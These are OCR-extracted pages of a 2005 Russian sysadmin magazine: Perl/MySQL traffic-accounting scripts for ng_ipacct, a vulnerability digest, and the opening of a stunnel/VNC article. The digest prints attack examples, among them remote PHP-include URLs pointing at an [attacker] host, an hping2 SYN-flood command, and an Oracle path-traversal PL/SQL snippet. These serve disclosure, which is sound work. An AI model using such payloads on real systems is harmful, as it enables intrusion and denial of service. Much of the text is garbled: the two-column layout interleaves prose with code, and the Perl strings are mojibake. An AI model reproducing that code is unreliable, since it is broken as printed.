когда описывался ng_ipacct, указывалось, что для снятия Выдаст ошибку – значит, отсутствует или не соответствует
статистики необходимо последовательно проделать следу- текущей версии perl (например, вы обновили perl, а все со-
ющее: передать данные в checkpoint-базу, потом вывести путствующие модули нет).
данные при помощи show (перенаправить в файл) и очис- Что ж, это поправимо:
тить checkpoint для получения следующей порции данных.
Таким образом, мы сразу же определили, что нам нуж- # cd /usr/ports/databases/p5-DBI/
# make && make install && make clean && rehash
но сложить статистику в файл при помощи перенаправле- # cd /usr/ports/databases/p5-DBD-mysql
ния вывода show. А после этого, уже считывая из файла # make && make install && make clean && rehash
данные, отправить в базу. Для того чтобы не было смеши-
вания всех интерфейсов в одном файле, мы также должны Если у вас стоит MySQL не 3.23 версии, а 4 и выше, то
условиться заранее, что для каждого интерфейса будет выберите соответствующий вариант вместо p5-DBD-mysql.
создан свой собственный файл статистики, а также один После этого можно смело приступать к дальнейшим мани-
общий, куда будет складываться статистика со всех интер- пуляциям.
фейсов. В этих файлах будет указано имя хоста, время по- Для подключения к базе данных нужно снова считать
лучения порции записей, дата и самое главное – интер- конфигурационный файл и все параметры, необходимые
фейс. Почему так акцентируется внимание на интерфейсе? для того, чтобы выяснить:
Очень просто. У нас могут быть каналы на одной машине, ! какие интерфейсы подключены;
где локальный трафик считается, а также где он бесплат- ! имя сервера базы данных;
ный. Учесть нам необходимо платный. Соответственно нуж- ! имя базы данных;
но знать, какой интерфейс принял или отправил пакет. ! имя и пароль пользователя для доступа к базе.
Что ж, основная установка сделана. Остальное – по ходу
повествования. Все это описано в конфигурационном файле (смотрите
Для начала создадим две вещи: базу, куда будут запи- первую часть статьи в №2, 2005 г.). Но сначала опять нуж-
сываться данные, и папку, где будут располагаться времен- но задать основные переменные.
ные файлы со статистикой интерфейсов.
# Ñïèñîê îñíîâíûõ ïåðåìåííûõ
mysql> create database ng_stat; my $serverdb = "test";
Query OK, 1 row affected (0.04 sec) my $dbname = "test";
mysql> grant insert,create,update,select,delete on ng_stat.*
my $dbuser = "test";
my $dbpass = "test";
to nguser@'%' identifiedby 'ngpassword'; my $table_auth = "test";
Query OK, 0 rows affected (0.08 sec) my $table_proto = "test";
my $listen_host = "test";
Одновременно были даны права пользователю nguser my @listen_interf;
на добавление, обновление, удаление записей и их выбор- my @ng_modules;
my $ng_modules_def = "netgraph,ng_ether,ng_socket, ↵
ку, а также на создание таблиц. ng_tee,ng_ipacct";
Итак, вновь возвращаемся к написанию скриптов: my $threshold = 5000;
my $ipacct_log = '/usr/local/script/ng_stat/log/ng.log';
# touch ng_stat_in.pl Некоторые из них нам не потребуются. Но это удобная
заготовка для всех скриптов. Мы по очереди вносим необ-
И начинаем вносить данные. Первым делом необходи- ходимые параметры, всего лишь модернизируя уже имею-
мо подключить два модуля perl, которые будут использо- щийся скрипт. «Лишние» переменные можно будет убрать
ваться: на этапе отладки.

52
администрирование
Самое важное в этом списке «my $ipacct_log = “/usr/local/ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME
script/ng_stat/log/ng.log”» – мы указали расположение основ- exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface show >> ↵
ного файла, куда по умолчанию будет записываться вся $ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵
статистика (с интерфейсами, временем и т. д.). çàïèñåé èç checkpoint-áàçû â ôàéë!\n";
exit;
Что ж, читаем дальше конфигурационный файл. Он ос- }
тается без изменений, так что приводить его не буду. }
else {
Проверяем время на машине. Именно это время и бу- print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
дет записываться в базу: \n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
# Ïðîâåðÿåì âðåìÿ. }
$gm = localtime(); do {
$year = ($gm->year()) + 1900; $kid = waitpid $pid,0;
$mounth = ($gm->mon()) + 1; if ($kid == -1) {
$mday = $gm->mday(); print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
$date = "$mday-$mounth-$year"; èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
$hour = $gm->hour(); and die "Âûõîä!\n";
$min = $gm->min(); } elsif ($kid == 0) {
$sec = $gm->sec(); print "Çàäàí íå áëîêèðóþùèé ↵
$hour=sprintf("%02d",$hour); âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
$min=sprintf("%02d",$min); }
$sec=sprintf("%02d",$sec); } until $kid=$pid;
$time = "$hour\:$min\:$sec";
$table_date = "$year\_$mounth"; undef $pid;

Почему в переменной $year мы добавляем 1900? Очень $pid = fork;


if (defined $pid) {
просто – она ведет отсчет от 1900 года. Почему в месяцах if ($pid == 0){
прибавляем единицу? Переменная возвращает значения от #$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear
exec "/usr/local/sbin/ipacctctl ↵
0 до 11. $interface\_ip_acct:$interface clear" or die ↵
Функция sprintf вернет значения переменных $hour, $sec "Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵
Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó â ðó÷íóþ\n";
и $min числом из двух цифр, если полученное значение бу- exit;
дет меньше 10. Например, одна секунда, после получения }
}
ее значения, будет 1, а нужно 01. else {
Последний параметр $table_date определяет имя таб- print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
\n.................\n";
лицы в базе данных. ↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
Далее идет конструкция для проверки, установлены ин- \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
}
терфейсы или нет. Если все в порядке, начинаем подготов- do {
ку к тому, чтобы закачивать данные на сервер. $kid = waitpid $pid,0;
if ($kid == -1) {
Первым делом необходимо получить данные с интер- print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
фейсов и записать во временные файлы. èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
} elsif ($kid == 0) {
while (@listen_interf){ print "Çàäàí íå áëîêèðóþùèé ↵
$interface = shift @listen_interf; âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
my $pid; }
$pid = fork; } until $kid=$pid;
if (defined $pid) {
if ($pid == 0){ undef $pid;
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint
exec "/usr/local/sbin/ipacctctl ↵ $TMPLOG= "$ipacct_log\.$interface";
$interface\_ip_acct:$interface checkpoint" or die ↵ open (TMPLOG, "$TMPLOG");
"Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n"; $TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵
exit; ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó.
} while (<TMPLOG>){
} $tmp_log_line=$_;
else { chomp $tmp_log_line;
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵ $tmp_log_line = "$tmp_log_line $date ↵
\n.................\n"; $time $listen_host $interface";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ push @ipacct_arr,$tmp_log_line;
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; }
} close (TMPLOG);
do { truncate ($TMPLOG,0);
$kid = waitpid $pid,0;
if ($kid == -1) { undef $pid;
print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ }
èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n"; Обращаю внимание на то, что полный путь к ipacctctl
} elsif ($kid == 0) {
print "Çàäàí íå áëîêèðóþùèé ↵ хранится в переменной $ipacctctl – так как скрипт будет
âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; работать по cron, то здесь желательно указать полный путь
}
} until $kid=$pid; к нему, ибо не всегда cron сможет получить переменные из
профиля того пользователя, от имени которого будет ис-
undef $pid;
полняться команда или программа.
$pid = fork; Как видите, первыми идут checkpoint, show, clear. На эта-
if (defined $pid) {
if ($pid == 0){ пе show мы перенаправляем данные во временный файл.

№3, март 2005 53


администрирование
Временный файл определяется основным файлом статис- else {
тики с приставкой имени интерфейса, то есть для rl0 он бу- print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
\n.................\n";
дет выглядеть как /usr/local/script/ng_stat/log/ng.log.rl0. И так ↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
поочередно для каждого из интерфейсов. После занесения \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
}
данных эти файлы считываются. Каждая строка из них бу- do {
дет дополнена необходимой информацией (дата, время, имя $kid = waitpid $pid,0;
if ($kid == -1) {
хоста, интерфейс) и занесена в массив. print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
$tmp_log_line = "$tmp_log_line $date $time $listen_host ↵ } elsif ($kid == 0) {
$interface"; print "Çàäàí íå áëîêèðóþùèé ↵
push @ipacct_arr,$tmp_log_line; âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
}
После того, как временный файл считан до конца, мы } until $kid=$pid;
его очищаем (можно в принципе и удалить, хотя это неэф- undef $pid;
фективно). $pid = fork;
if (defined $pid) {
truncate(“$TMPLOG”,0); if ($pid == 0){
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME
exec "/usr/local/sbin/ipacctctl ↵
так поочередно мы заполним данными со всех интерфей- $interface\_ip_acct:$interface show >> ↵
$ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵
сов массив @ipacct_arr. Его, кстати, необходимо внести в çàïèñåé èç checkpoint-áàçû â ôàéë!\n";
список основных переменных, которые были объявлены в exit;
}
начале скрипта. }
else {
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
my @ipacct_arr; \n.................\n";
my @ipacct_arr_in; ↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
Я указал кроме него еще один массив – он сейчас тоже }
потребуется. do {
$kid = waitpid $pid,0;
if ($kid == -1) {
open (IPCTLOG,">>$ipacct_log"); print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
while (@ipacct_arr){ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
$line_arr = shift @ipacct_arr; and die "Âûõîä!\n";
$line_arr = "$line_arr\n"; } elsif ($kid == 0) {
print IPCTLOG $line_arr; print "Çàäàí íå áëîêèðóþùèé ↵
} âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
close(IPCTLOG); }
} until $kid=$pid;

Этим действием все содержимое массива, полученно- undef $pid;


го на предыдущем шаге, заносится в основной файл стати- $pid = fork;
стики. Теперь в случае любых перипетий (недоступность if (defined $pid) {
if ($pid == 0){
сервера, отсутствие созданной базы или неправильный #$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear
логин/пароль) вся статистика будет накапливаться в нем. exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface clear" or die ↵
Именно поэтому и было указано то, что в случае пополне- "Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵
ния записей они должны дописываться в конец файла. Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó âðó÷íóþ\n";
exit;
}
open (IPCTLOG,">>$ipacct_log"); }
else {
print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
Статистика получена. Теперь наступил самый ответ- \n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
ственный этап. Необходимо привести к нужному виду каж- \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
дую строку в файле статистики. Проверить доступность }
do {
сервера и необходимой базы и таблицы. Если все в полном $kid = waitpid $pid,0;
порядке, то внести данные. Вот как полностью будет выг- if ($kid == -1) {
print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
лядеть этот блок: èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
and die "Âûõîä!\n";
} elsif ($kid == 0) {
while (@listen_interf){ print "Çàäàí íå áëîêèðóþùèé ↵
$interface = shift @listen_interf; âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
my $pid; }
$pid = fork; } until $kid=$pid;
if (defined $pid) {
if ($pid == 0){ undef $pid;
#$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint
exec "/usr/local/sbin/ipacctctl ↵ $TMPLOG= "$ipacct_log\.$interface";
$interface\_ip_acct:$interface checkpoint" or die ↵ open (TMPLOG, "$TMPLOG");
"Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n"; $TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵
exit; ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó.
} while (<TMPLOG>){
} $tmp_log_line=$_;

54
администрирование
chomp $tmp_log_line; my $tables;
$tmp_log_line = "$tmp_log_line $date ↵ while (@row = $sth->fetchrow_array) {
$time $listen_host $interface"; foreach $tables (@row){
push @ipacct_arr,$tmp_log_line; push @dbtables, $tables;
} }
close (TMPLOG); }
truncate ($TMPLOG,0);
Самое интересное во всем этом – оператор foreach, ко-
undef $pid; торый присваивает переменной $table значения массива
} @row. Значения этой переменной заносятся в @tables.
open (IPCTLOG,">>$ipacct_log");
while (@ipacct_arr){ $crt_tbl="yes";
while (@dbtables) {
$line_arr = shift @ipacct_arr; $table = shift @dbtables;
$line_arr = "$line_arr\n"; if (defined $table) {
print IPCTLOG $line_arr; if ($table eq $table_date) {
$crt_tbl="no";
} }
close(IPCTLOG); }
}
&parse_log_file;
&check_in_mysql;
&insert_data_db; В данном блоке устанавливается значение переменной
} $crt_tbl в yes, чтобы в случае необходимости создать таб-
Как видно из кода, присутствует вызов трех подпрог- лицу, определенную в переменной $table_date. Последую-
рамм. Выполняемые ими функции интуитивно понятны из щие действия как раз и описывают этап сравнения элемен-
названия (&parse_log_file; &check_in_mysql; &insert_data_db;). тов массива с переменной. Если таблица с таким именем
Рассмотрим их поочередно. присутствует, то $crt_tbl принимает значение no.

sub parse_log_file { if ($crt_tbl eq "yes") {


open (PARSFILE, "$ipacct_log"); # print "Ñîçäàåì òàáëèöó\n";
while ($line_parse=<PARSFILE>) { &crt_table_log;
chomp $line_parse; }
$line_parse =~ s/[\s\t]+/\t/g; $sth->finish;
push @ipacct_arr_in, $line_parse; $dbh->disconnect;
}
close (PARSFILE);
truncate ("$ipacct_log",0); Если такой таблицы нет, она будет создана при вызове
} подпрограммы &crt_table_log.
В этом модуле встречаются две новые подпрограммы.
Все, что мы делаем здесь, – производим разбор строки Опишем первую, так как она используется еще в несколь-
основного файла. И все имеющиеся символы пробела или ких местах. Итак, в случае ошибки соединения необходи-
табуляции заменяем на единичные символы табуляции. И мо срочно остановить выполнение скрипта и сбросить дан-
вносим данные в объявленный выше массив @ipacct_arr_in. ные обратно в файл.
После того как все данные из файла были внесены в мас-
сив, этот файл обнуляется для записи последующей пор- sub error_connection {
ции данных. print "Ïðîâåðüòå ïðàâèëüíîñòü èìåíè è ïàðîëÿ íà áàçó ↵
Что ж, проверим доступность mysql и наличия таблиц: â MySQL, åå ñóùåñòâîâàíèå\n";
print "Âîçìîæíîé ïðè÷èíîé îøèáêè òàêæå ìîæåò ÿâëÿòüñÿ òî, ↵
÷òî ñåðâåð âðåìåííî íåäîñòóïåí\n";
my ($dbh,$sth,$count); print "Áóäåò ïðîèçâåäåíî êîïèðîâàíèå âñåõ äàííûõ ↵
$dbh = DBI->connect("DBI:mysql:host= ↵ â ôàéë:\n\n$ipacct_log \n\n";
$serverdb;database=$dbname", "$dbuser", "$dbpass") print "Íàêîïëåíèå ñòàòèñòèêè â ôàéë íå ëèìèòèðîâàíî, ↵
or &error_connection; íî ýòî ìîæåò ïîâëå÷ü çà ñîáîé";
$sth = $dbh->prepare("SHOW tables"); print " âñïëåñê íàãðóçêè íà ñåòü è ñåðâåðà. Ïîýòîìó ↵
$sth->execute (); îáðàòèòå âíèìàíèå íà äàííîå";
print " ñîîáùåíèå è âûÿñíèòå êîíêðåòíóþ ïðè÷èíó.\n";
foreach $line_arr(@ipacct_arr_in) {
Первой строкой мы объявили переменные, которые бу- open (DUMPFILE, ">>$ipacct_log");
дут использоваться для соединения. Второй устанавливаем $line_arr = "$line_arr\n";
print DUMPFILE $line_arr;
соединение с MySQL. В ней указываем, что необходимо ис- close (DUMPFILE);
пользовать драйвер mysql DBI, также расположение серве- }
die "Âûõîä.\n";
ра, БД, имя и пароль, которые получили из файла настрой- }
ки. В случае, если произойдут ошибки, будет выполнена под-
программа &error_connection. Ее опишем несколько позже, Вторая создает таблицу, в которую будет производить-
а пока условимся, что соединение прошло успешно. Следу- ся запись данных.
ющим пунктом будет запрос. В данном случае проверяется
наличие необходимых таблиц в базе (SHOW TABLES), а пос- sub crt_table_log {
my ($dbh,$sth,$count);
ледняя строка означает выполнение запроса. $dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵
Теперь полученный результат занесем в массив: database=$dbname", "$dbuser", "$dbpass")
or &error_connection;
$select = "CREATE TABLE $table_date (ip_from ↵
my @row; varchar(255),s_port varchar(128),ip_to varchar(255), ↵

№3, март 2005 55


администрирование
d_port varchar(128), proto varchar(32), packets int(8), ↵ интерфейс и, если необходимо, графические клиенты под
bytes int(16) default 0,date_ins varchar(32), ↵ X-Window и MS Windows.
time_ins time, host varchar(128), interface varchar(8), ↵
index (ip_from),index (ip_to),index (proto), ↵ В принципе вы и сами можете написать самые простые
index (packets), index (bytes),index (host), ↵ запросы уже сейчас. Приведу еще раз заголовки таблицы:
index (time_ins), index (date_ins), index (interface))";
$sth = $dbh->prepare("$select");
$sth->execute (); mysql> show columns from 2004_10;
$sth->finish;
$dbh->disconnect; Field Type Null Key Def Ext
ip_from varchar(255) YES MUL NULL
} s_port varchar(128) YES NULL
ip_to varchar(255) YES MUL NULL
Ну и наконец последнее – заносим данные в базу: d_port varchar(128) YES NULL
proto varchar(32) YES MUL NULL
packets int(8) YES MUL NULL
sub insert_data_db { bytes int(16) YES MUL 0
my ($dbh,$sth,$count); date_ins varchar(32) YES MUL NULL
$dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵ time_ins time YES MUL NULL
database=$dbname","$dbuser","$dbpass")
host varchar(128) YES MUL NULL
or &error_connection_in;
$insert = "INSERT INTO $table_date (ip_from,s_port, ↵ interface varchar(8) YES MUL NULL
ip_to,d_port,proto,packets,bytes,date_ins, ↵ 11 rows in set (0.02 sec)
time_ins,host,interface) VALUES (?,?,?,?,?,?,?,?,?,?,?)";
$sth = $dbh->prepare("$insert"); И простенький запрос к базе на выборку за 10 месяц
print "$insert\n"; 2004 года суммы прошедшего трафика через интерфейс
while (@ipacct_arr_in) {
$line_in = shift @ipacct_arr_in; ($ip_from, ↵ rl0 сервера freebsd2:
$s_port,$ip_to,$d_port,$proto,$packets, ↵
$bytes,$date_ins,$time_ins,$host,$interface)= ↵ mysql> select sum(bytes) from 2004_10 where host='freebsd2'
split(/[\s\t]+/,$line_in);
and interface='rl0';
if (!defined $proto){
$proto="0";
} sum(bytes)
if (!defined $packets){ 993453162
$packets="0"; 1 row in set (0.12 sec)
}
if (!defined $bytes){ Все остальные скрипты, вне зависимости от своего на-
$bytes="0";
} значения, являются вариациями на тему запроса.
$sth->execute ($ip_from,$s_port,$ip_to,$d_port,$proto, ↵
$packets,$bytes,$date_ins,$time_ins, ↵
$host,$interface); Подведем итоги
} Разобранные выше примеры написания системы учета тра-
$sth->finish;
$dbh->disconnect; фика – не полноценный биллинг, так как для такой систе-
} мы нужно хорошо просчитать структуру самой БД, ее на-
грузку, выбрать оптимальные типы полей в таблицах. Для
Как видите, снова идет пошаговое считывание данных примера, в более серьезном и нагруженном варианте (сер-
из массива. Полученные строки разбиваются на составля- вер провайдера и порядка 20 хостов) необходимо изменить
ющие при помощи split. Если значения в этих переменных типы полей s_port, d_port, ip_from, ip_to на тип int (преобра-
отсутствуют, им присваивается значение, равное нулю. зование IP-адреса выполняется встроенными функциями
Вот в принципе все. Мы занесли данные в таблицу. Те- MySQL), одним словом, уделить очень большое внимание
перь можно извлекать нужные данные соответствующими настройке оптимальной производительности самой СУБД –
запросами на выборку. Полностью содержимое можно по- здесь она станет узким местом, и, возможно, перейти на
смотреть в ng_stat_in.pl. Последние штрихи – помещение альтернативную СУБД.
созданного сценария в /usr/local/etc/rc.d и добавление по- Но подводя итоги этой статьи, можно с уверенностью
добной записи в /etc/crontab. сказать самое главное: ng_ipacct является очень удобным
программным пакетом для сбора полной и детализирован-
*/15 * * * * ↵ ной статистики. Причем он не требует каких-то особых за-
root /usr/local/script/ng_stat/bin/ng_stat_in.pl
облачных знаний и предоставляет удобную в отображении
Наша система готова к сбору статистики. Конечно, она информацию. Он может заменить вам систему учета тра-
не лишена ряда недостатков. Таковыми можно считать то, фика, даже если вы будете каждый день мигрировать с
что система работает именно от пользователя root, и не име- одного типа брандмауэра на другой. При этом особо не на-
ет возможности на лету менять конфигурацию. Самое глав- грузит ваш сервер.
ное ее преимущество – простота. Она предоставляет са- Также можно добавить, что сам процесс сбора статисти-
мое удобное хранилище данных, откуда их можно вытянуть ки и запись полученных данных средствами perl не представ-
и при помощи web, и с консоли, и даже с машины под уп- ляет особой сложности – весь необходимый набор инстру-
равлением Windows. ментов встроен в perl либо присутствует в виде портов и па-
Итак, были выполнены практически все требования к кетов. Большую часть подпрограмм (например, чтение кон-
биллингу. Мы остановимся пока на этом, ибо немаленький фигурационного файла) можно вынести в отдельный модуль/
объем вышел для трех простеньких скриптов. Если у чита- пакет. Также вполне возможно, что вы несколько перепише-
телей появится желание, приведу дополнительный набор те код под себя – тут уж никто никого не сдерживает. Цель
скриптов и их описание, систему авторизации через веб- есть, а как к ней добраться – каждый выбирает сам.

56
bugtraq

Удаленный административный доступ Множественные уязвимости в MySQL


в Phpbb-форуме Программа: MySQL версии до 4.0.24 и 4.1.10a.
Программа: Phpbb 2.0.12. Опасность: Низкая.
Опасность: Критическая. Описание: Обнаруженные уязвимости позволяют локаль-
Описание: Уязвимость в Phpbb позволяет удаленному ному пользователю получить поднятые привилегии в базе
пользователю обойти некоторые ограничения безопаснос- данных, удаленному авторизованному пользователю выпол-
ти и получить административные привилегии на форуме. нить произвольный код на системе с привилегиями mysqld-
Уязвимость связана с ошибкой в сравнении «session- процесса.
data['autologinid']» и «auto_login_key». В результате возмож- 1. Уязвимость существует при использовании временных
но получить административные привилегии на форуме. Ло- файлов в функции CREATE TEMPORARY TABLE. Локальный
гическая уязвимость обнаружена в сценарии includes/ пользователь может создать символическую ссылку с дру-
sessions.php в следующей строке: гого файла базы данных на временный файл. Подключить-
ся к MySQL с помощью клиента и создать временную таб-
if( $sessiondata['autologinid'] == $auto_login_key )
лицу, которая будет использовать символическую ссылку
Условие выполняется, если длина $sessiondata['auto- вместо обычного временного файла. Таким образом, ло-
loginid'], представленная в куке пользователя, равна длине кальный пользователь может повысить свои привилегии в
переменной $auto_login_key. Для исправления уязвимости пределах базы данных.
ее необходимо заменить на строку: 2. Уязвимость существует в функции udf_init() файла
if( $sessiondata['autologinid'] === $auto_login_key )
sql_udf.cc из-за некорректной обработки имен директорий.
Авторизованный пользователь с привилегиями INSERT и
Также сообщается об ошибке в «viewtopic.php», кото- DELETE в административной базе данных mysql может вста-
рая позволит раскрыть инсталляционный путь. вить специально сформированное значение в поле dl таб-
URL производителя: http://www.phpbb.com. лицы mysql.func и указать расположение специально сфор-
Решение: Обновите форум до 2.0.13. мированной библиотеки, которая затем будет выполнена
базой данных.
3. Уязвимость существует при использовании команды
PHP-инклудинг в phpWebLog CREATE FUNCTION. Авторизованный пользователь с при-
Программа: phpWebLog 0.5.3 и более ранние версии вилегиями INSERT и DELETE в административной базе дан-
Опасность: Высокая. ных mysql может использовать команду CREATE FUNCTION
Описание: Уязвимость существует в сценариях include/ в некоторых libc-функциях (strcat, on_exit, exit и т. д.), чтобы
init.inc.php и backend/addons/links/index.php из-за некоррек- выполнить произвольный код на системе с привилегиями
тной обработки входных данных в переменных G_PATH и mysqld-процесса.
PATH. Удаленный пользователь может с помощью специ- Пример/Эксплоит: http://www.securitylab.ru/53240.html.
ально сформированного URL выполнить произвольный php- URL производителя: http://www.mysql.com.
сценарий на уязвимой системе. Пример: Решение: Установите обновления от производителя.

http://[target]/[dir]/include/init.inc.php? ↵
G_PATH=http://[attacker]/
http://[target]/[dir]/backend/addons/links/inde x.php? ↵ Раскрытие информации
PATH=http://[attacker]/
в Oracle Database Server
URL производителя: http://phpweblog.org. Программа: Oracle Database Server 8i, 9i.
Решение: Способов устранения уязвимости не существу- Опасность: Низкая.
ет в настоящее время. Описание: Уязвимость существует в пакете UTL_FILE из-за
некорректной обработки входных данных в некоторых функ-
циях. Удаленный авторизованный пользователь может из-
LAND-атака в Microsoft Windows менить значение некоторых объектов функции MEDIA_DIR
Программа: Microsoft Windows XP, Microsoft Windows 2003. на символы обхода каталога и получить доступ на чтение и
Опасность: Высокая. запись к произвольным файлам на системе. Пример:
Описание: Уязвимость существует при обработке SYN-па- declare
кетов. Удаленный пользователь может послать большое ко- f utl_file.file_type;
begin
личество SYN-пакетов на открытый порт системы и выз- f:=UTL_FILE.FOPEN
вать 100% загрузку процессора. Пример: ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
hping2 192.168.0.1 -s 135 -p 135 -S -a 192.168.0.1 UTL_FILE.FCLOSE(f);
end;
URL производителя: http://www.microsoft.com. URL производителя: http://www.oracle.com.
Решение: Способов устранения уязвимости не существу- Решение: Установите исправление от производителя.
ет в настоящее время. В качестве временного решения ре-
комендуется использовать межсетевой экран. Составил Александр Антипов

№3, март 2005 57


безопасность

ЗАЩИТА СЕТЕВЫХ СЕРВИСОВ


С ПОМОЩЬЮ stunnel
ЧАСТЬ 3

АНДРЕЙ БЕШКОВ
Сегодня мы займемся изучением тонкостей работы меха- пришлось бы возиться с каким-либо эмулятором. Решив не
низма аутентификации stunnel с помощью SSL-сертифика- плодить сущностей без надобности, я воспользовался пос-
тов. Плюс заодно разберемся, для чего может пригодиться ледним вариантом в виде VNC, так как бесплатен и суще-
Windows-версия этой программы. ствует для всех указанных платформ. Реализаций прото-
Представим, что у нас есть сервер, на котором работа- кола VNC на свете довольно много. Наиболее известны из
ет Windows 2000 Advanced Server. Хотелось бы уметь уда- них RealVNC, TightVNC, t-VNC и еще несколько клонов. Не-
ленно управлять сервером с двух UNIX-машин. В качестве которые, как TightVNC и t-VNC, направлены на минимиза-
таковых выступают рабочая станция на основе FreeBSD 5.3 цию сетевого трафика, другие же, такие как RealVNC, – на
и ноутбук c ALT Linux Master 2.4. Соответственно, машины использование шифрования. К сожалению, под Windows
имеют имена win2000.unreal.net, altlinux.unreal.net, freebsd53. RealVNC не бесплатна, поэтому пришлось использовать
unreal.net и адреса 10.10.21.46, 10.10.21.29, 10.10.21.30. стандартную свободную реализацию TightVNC без шифро-
Для решения поставленной задачи можно использовать вания. Для защиты передаваемых данных, как вы уже, на-
несколько программ. К примеру, Citrix ICA Client, Radmin, верно, догадались, будет использоваться stunnel.
Rdesktop, VNC. Устанавливать и настраивать на сервере Займемся установкой нужных пакетов на Windows-сер-
Citrix или Terminal Server ради одного человека смысла нет. вер. Скачиваем с сайта TightVNC: http://tightvnc.com свежий
Radmin для UNIX в природе не существует, значит, опять релиз программы. На момент написания статьи была акту-

58
безопасность
альна версия 1.2.9. Инсталляция достаточно тривиальна:
большую часть времени можно просто нажимать кнопку
«Далее». Затем нужно убедиться, что был выбран следую-
щий набор компонентов.

Таким образом, получается, что на внешнем интерфей-


се входящие соединения на порты 5800 и 5900 будет полу-
чать stunnel и после расшифровки передавать их на соот-
ветствующий порт локальной петли.
Теперь уже можно проверить работу VNC c помощью кли-
ента, установленного на локальной машине. Не забываем,
что присоединяться надо по адресу 127.0.0.1. Если все ра-
ботает, переходим к установке stunnel. Сделать это можно
двумя путями: либо компилировать пакет из исходных тек-
стов, либо взять уже готовый по адресу: htpp://stunnel.org/
download/binaries.html. Там же не забываем взять реализа-
цию OpenSSL для Windows. Полный пакет OpenSSL нам не
нужен, необходимы лишь библиотеки libeay32.dll и libssl32.dll,
скачать их можно на той же странице. Нормальным инстал-
лятором stunnel так до сих пор и не обзавелся, поэтому при-
ходится делать все вручную. Кладем stunnel-4.05.exe в
Разрешаем стартовать серверу VNC автоматически как C:\Stunnel и добавляем туда же весь OpenSSL или скачан-
системному сервису. После этого получаем предупреждение ные dll. Затем создаем директорию C:\Stunnel\certs. На этом
об отсутствии пароля и на следующем экране вводим его. процедуру установки для Windows можно считать закончен-
ной. Осталось лишь настроить stunnel, но об этом позже.
Установку stunnel и OpenSSL для FreeBSD и Linux мы об-
суждали в предыдущих частях этой статьи1, поэтому оста-
навливаться на данном вопросе не будем. Теперь нужно по-
ставить VNC. Для FreeBSD устанавливаем tightVNC стандар-
тным способом из портов. К сожалению, в репозитарии па-
